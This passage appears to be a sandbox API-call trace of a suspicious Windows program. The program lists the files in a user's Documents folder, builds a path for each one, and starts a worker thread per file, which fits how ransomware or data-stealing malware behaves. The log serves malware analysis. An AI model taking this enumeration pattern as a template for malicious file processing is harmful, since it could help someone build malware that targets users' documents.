Size=0x6c) returned 0x4194f0 [0047.030] wcscpy (in: _Dest=0x4194f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.030] wcscat (in: _Dest=0x4194f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.030] wcscat (in: _Dest=0x4194f0, _Source="fNSPzxua.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fNSPzxua.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fNSPzxua.docx" [0047.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4194f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0047.032] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e754fd0, ftCreationTime.dwHighDateTime=0x1d4d002, ftLastAccessTime.dwLowDateTime=0xf0530db0, ftLastAccessTime.dwHighDateTime=0x1d4ccec, ftLastWriteTime.dwLowDateTime=0xf0530db0, ftLastWriteTime.dwHighDateTime=0x1d4ccec, nFileSizeHigh=0x0, nFileSizeLow=0x18499, dwReserved0=0x0, dwReserved1=0x0, cFileName="F_ELC.ots", cAlternateFileName="")) returned 1 [0047.032] wcscmp (_String1="F_ELC.ots", _String2=".") returned 1 [0047.032] wcscmp (_String1="F_ELC.ots", _String2="..") returned 1 [0047.032] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x421658 [0047.032] wcscpy (in: _Dest=0x421658, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.032] wcscat (in: _Dest=0x421658, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.032] wcscat (in: _Dest=0x421658, _Source="F_ELC.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F_ELC.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F_ELC.ots" [0047.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0047.033] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bb4d350, ftCreationTime.dwHighDateTime=0x1d4ca62, ftLastAccessTime.dwLowDateTime=0x915716f0, ftLastAccessTime.dwHighDateTime=0x1d4cec5, ftLastWriteTime.dwLowDateTime=0x915716f0, ftLastWriteTime.dwHighDateTime=0x1d4cec5, nFileSizeHigh=0x0, nFileSizeLow=0xc986, dwReserved0=0x0, dwReserved1=0x0, cFileName="GGJVCE2ZOs_.ppt", cAlternateFileName="GGJVCE~1.PPT")) returned 1 [0047.033] wcscmp (_String1="GGJVCE2ZOs_.ppt", _String2=".") returned 1 [0047.033] wcscmp (_String1="GGJVCE2ZOs_.ppt", _String2="..") returned 1 [0047.033] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x419568 [0047.033] wcscpy (in: _Dest=0x419568, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.033] wcscat (in: _Dest=0x419568, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.033] wcscat (in: _Dest=0x419568, _Source="GGJVCE2ZOs_.ppt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GGJVCE2ZOs_.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GGJVCE2ZOs_.ppt" [0047.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0047.034] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e92f9f0, ftCreationTime.dwHighDateTime=0x1d4cae5, ftLastAccessTime.dwLowDateTime=0xd6933ed0, ftLastAccessTime.dwHighDateTime=0x1d4c914, ftLastWriteTime.dwLowDateTime=0xd6933ed0, ftLastWriteTime.dwHighDateTime=0x1d4c914, nFileSizeHigh=0x0, nFileSizeLow=0x49b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Giw9OA.ots", cAlternateFileName="")) returned 1 [0047.034] wcscmp (_String1="Giw9OA.ots", _String2=".") returned 1 [0047.034] wcscmp (_String1="Giw9OA.ots", _String2="..") returned 1 [0047.034] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x4216c8 [0047.034] wcscpy (in: _Dest=0x4216c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.034] wcscat (in: _Dest=0x4216c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.034] wcscat (in: _Dest=0x4216c8, _Source="Giw9OA.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Giw9OA.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Giw9OA.ots" [0047.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4216c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0047.035] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5624160, ftCreationTime.dwHighDateTime=0x1d55a21, ftLastAccessTime.dwLowDateTime=0x385de180, ftLastAccessTime.dwHighDateTime=0x1d557ed, ftLastWriteTime.dwLowDateTime=0x385de180, ftLastWriteTime.dwHighDateTime=0x1d557ed, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gzcsa8rpswPz_.docx", cAlternateFileName="GZCSA8~1.DOC")) returned 1 [0047.036] wcscmp (_String1="Gzcsa8rpswPz_.docx", _String2=".") returned 1 [0047.036] wcscmp (_String1="Gzcsa8rpswPz_.docx", _String2="..") returned 1 [0047.036] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400a98 [0047.036] wcscpy (in: _Dest=0x400a98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.036] wcscat (in: _Dest=0x400a98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.036] wcscat (in: _Dest=0x400a98, _Source="Gzcsa8rpswPz_.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Gzcsa8rpswPz_.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Gzcsa8rpswPz_.docx" [0047.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400a98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0047.037] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51633470, ftCreationTime.dwHighDateTime=0x1d4c6a0, ftLastAccessTime.dwLowDateTime=0x8b3b4d60, ftLastAccessTime.dwHighDateTime=0x1d4d044, ftLastWriteTime.dwLowDateTime=0x8b3b4d60, ftLastWriteTime.dwHighDateTime=0x1d4d044, nFileSizeHigh=0x0, nFileSizeLow=0x131cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="h1iVwb9U.rtf", cAlternateFileName="")) returned 1 [0047.037] wcscmp (_String1="h1iVwb9U.rtf", _String2=".") returned 1 [0047.037] wcscmp (_String1="h1iVwb9U.rtf", _String2="..") returned 1 [0047.037] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x4195e0 [0047.037] wcscpy (in: _Dest=0x4195e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.037] wcscat (in: _Dest=0x4195e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.037] wcscat (in: _Dest=0x4195e0, _Source="h1iVwb9U.rtf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\h1iVwb9U.rtf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\h1iVwb9U.rtf" [0047.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4195e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0047.038] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39c86ed0, ftCreationTime.dwHighDateTime=0x1d4cf05, ftLastAccessTime.dwLowDateTime=0x1b9b1a30, ftLastAccessTime.dwHighDateTime=0x1d4c62b, ftLastWriteTime.dwLowDateTime=0x1b9b1a30, ftLastWriteTime.dwHighDateTime=0x1d4c62b, nFileSizeHigh=0x0, nFileSizeLow=0xaf2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="hhzIg7ilIz.csv", cAlternateFileName="HHZIG7~1.CSV")) returned 1 [0047.038] wcscmp (_String1="hhzIg7ilIz.csv", _String2=".") returned 1 [0047.038] wcscmp (_String1="hhzIg7ilIz.csv", _String2="..") returned 1 [0047.038] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x419658 [0047.038] wcscpy (in: _Dest=0x419658, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.038] wcscat (in: _Dest=0x419658, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.038] wcscat (in: _Dest=0x419658, _Source="hhzIg7ilIz.csv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhzIg7ilIz.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hhzIg7ilIz.csv" [0047.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0047.040] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7238fb30, ftCreationTime.dwHighDateTime=0x1d560e2, ftLastAccessTime.dwLowDateTime=0x7568900, ftLastAccessTime.dwHighDateTime=0x1d56b13, ftLastWriteTime.dwLowDateTime=0x7568900, ftLastWriteTime.dwHighDateTime=0x1d56b13, nFileSizeHigh=0x0, nFileSizeLow=0x15607, dwReserved0=0x0, dwReserved1=0x0, cFileName="jkYQ.docx", cAlternateFileName="JKYQ~1.DOC")) returned 1 [0047.040] wcscmp (_String1="jkYQ.docx", _String2=".") returned 1 [0047.040] wcscmp (_String1="jkYQ.docx", _String2="..") returned 1 [0047.040] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x421738 [0047.040] wcscpy (in: _Dest=0x421738, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.040] wcscat (in: _Dest=0x421738, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.040] wcscat (in: _Dest=0x421738, _Source="jkYQ.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jkYQ.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jkYQ.docx" [0047.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0047.041] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf06b5cb0, ftCreationTime.dwHighDateTime=0x1d4d568, ftLastAccessTime.dwLowDateTime=0xffa3f950, ftLastAccessTime.dwHighDateTime=0x1d4cc60, ftLastWriteTime.dwLowDateTime=0xffa3f950, ftLastWriteTime.dwHighDateTime=0x1d4cc60, nFileSizeHigh=0x0, nFileSizeLow=0x12abb, dwReserved0=0x0, dwReserved1=0x0, cFileName="L-BaTG.xlsx", cAlternateFileName="L-BATG~1.XLS")) returned 1 [0047.041] wcscmp (_String1="L-BaTG.xlsx", _String2=".") returned 1 [0047.041] wcscmp (_String1="L-BaTG.xlsx", _String2="..") returned 1 [0047.041] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x4217a8 [0047.041] wcscpy (in: _Dest=0x4217a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.041] wcscat (in: _Dest=0x4217a8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.041] wcscat (in: _Dest=0x4217a8, _Source="L-BaTG.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L-BaTG.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L-BaTG.xlsx" [0047.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4217a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0047.042] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cd8610, ftCreationTime.dwHighDateTime=0x1d50792, ftLastAccessTime.dwLowDateTime=0x8b9fc150, ftLastAccessTime.dwHighDateTime=0x1d57ce7, ftLastWriteTime.dwLowDateTime=0x8b9fc150, ftLastWriteTime.dwHighDateTime=0x1d57ce7, nFileSizeHigh=0x0, nFileSizeLow=0x6adf, dwReserved0=0x0, dwReserved1=0x0, cFileName="LNdN32bWPxkuG_T3FO.xlsx", cAlternateFileName="LNDN32~1.XLS")) returned 1 [0047.042] wcscmp (_String1="LNdN32bWPxkuG_T3FO.xlsx", _String2=".") returned 1 [0047.042] wcscmp (_String1="LNdN32bWPxkuG_T3FO.xlsx", _String2="..") returned 1 [0047.042] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x4474b8 [0047.042] wcscpy (in: _Dest=0x4474b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.042] wcscat (in: _Dest=0x4474b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.043] wcscat (in: _Dest=0x4474b8, _Source="LNdN32bWPxkuG_T3FO.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LNdN32bWPxkuG_T3FO.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LNdN32bWPxkuG_T3FO.xlsx" [0047.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4474b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0047.044] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeced4900, ftCreationTime.dwHighDateTime=0x1d4d4e5, ftLastAccessTime.dwLowDateTime=0x481927d0, ftLastAccessTime.dwHighDateTime=0x1d4d203, ftLastWriteTime.dwLowDateTime=0x481927d0, ftLastWriteTime.dwHighDateTime=0x1d4d203, nFileSizeHigh=0x0, nFileSizeLow=0xa5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="lPqt7vUTZlSPv Luk.doc", cAlternateFileName="LPQT7V~1.DOC")) returned 1 [0047.044] wcscmp (_String1="lPqt7vUTZlSPv Luk.doc", _String2=".") returned 1 [0047.044] wcscmp (_String1="lPqt7vUTZlSPv Luk.doc", _String2="..") returned 1 [0047.044] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x447540 [0047.044] wcscpy (in: _Dest=0x447540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.044] wcscat (in: _Dest=0x447540, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.044] wcscat (in: _Dest=0x447540, _Source="lPqt7vUTZlSPv Luk.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lPqt7vUTZlSPv Luk.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lPqt7vUTZlSPv Luk.doc" [0047.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0047.045] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7396ba60, ftCreationTime.dwHighDateTime=0x1d5135a, ftLastAccessTime.dwLowDateTime=0xa6a1a900, ftLastAccessTime.dwHighDateTime=0x1d584e4, ftLastWriteTime.dwLowDateTime=0xa6a1a900, ftLastWriteTime.dwHighDateTime=0x1d584e4, nFileSizeHigh=0x0, nFileSizeLow=0x3904, dwReserved0=0x0, dwReserved1=0x0, cFileName="mqn4T2qvd8dKvqYxEc.xlsx", cAlternateFileName="MQN4T2~1.XLS")) returned 1 [0047.045] wcscmp (_String1="mqn4T2qvd8dKvqYxEc.xlsx", _String2=".") returned 1 [0047.045] wcscmp (_String1="mqn4T2qvd8dKvqYxEc.xlsx", _String2="..") returned 1 [0047.045] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x4475c8 [0047.045] wcscpy (in: _Dest=0x4475c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.045] wcscat (in: _Dest=0x4475c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.045] wcscat (in: _Dest=0x4475c8, _Source="mqn4T2qvd8dKvqYxEc.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mqn4T2qvd8dKvqYxEc.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mqn4T2qvd8dKvqYxEc.xlsx" [0047.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4475c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0047.046] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1a2020, ftCreationTime.dwHighDateTime=0x1d50aae, ftLastAccessTime.dwLowDateTime=0xa5d583a0, ftLastAccessTime.dwHighDateTime=0x1d58ddd, ftLastWriteTime.dwLowDateTime=0xa5d583a0, ftLastWriteTime.dwHighDateTime=0x1d58ddd, nFileSizeHigh=0x0, nFileSizeLow=0x983e, dwReserved0=0x0, dwReserved1=0x0, cFileName="mrylUC5yOeiC.xlsx", cAlternateFileName="MRYLUC~1.XLS")) returned 1 [0047.046] wcscmp (_String1="mrylUC5yOeiC.xlsx", _String2=".") returned 1 [0047.046] wcscmp (_String1="mrylUC5yOeiC.xlsx", _String2="..") returned 1 [0047.046] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400b18 [0047.046] wcscpy (in: _Dest=0x400b18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.046] wcscat (in: _Dest=0x400b18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.047] wcscat (in: _Dest=0x400b18, _Source="mrylUC5yOeiC.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mrylUC5yOeiC.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mrylUC5yOeiC.xlsx" [0047.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0047.047] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0047.048] wcscmp (_String1="My Music", _String2=".") returned 1 [0047.048] wcscmp (_String1="My Music", _String2="..") returned 1 [0047.048] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x421818 [0047.048] wcscpy (in: _Dest=0x421818, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.048] wcscat (in: _Dest=0x421818, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.048] wcscat (in: _Dest=0x421818, _Source="My Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" [0047.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x421818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0047.049] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0047.049] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0047.049] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0047.049] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x421888 [0047.049] wcscpy (in: _Dest=0x421888, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0047.049] wcscat (in: _Dest=0x421888, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0047.049] wcscat (in: _Dest=0x421888, _Source="My Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" [0047.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x421888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0048.429] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0048.429] wcscmp (_String1="My Shapes", _String2=".") returned 1 [0048.429] wcscmp (_String1="My Shapes", _String2="..") returned 1 [0048.429] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x421658 [0048.429] wcscpy (in: _Dest=0x421658, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0048.429] wcscat (in: _Dest=0x421658, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.429] wcscat (in: _Dest=0x421658, _Source="My Shapes" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" [0051.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x421658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0051.617] FindNextFileW (in: hFindFile=0x40a128, 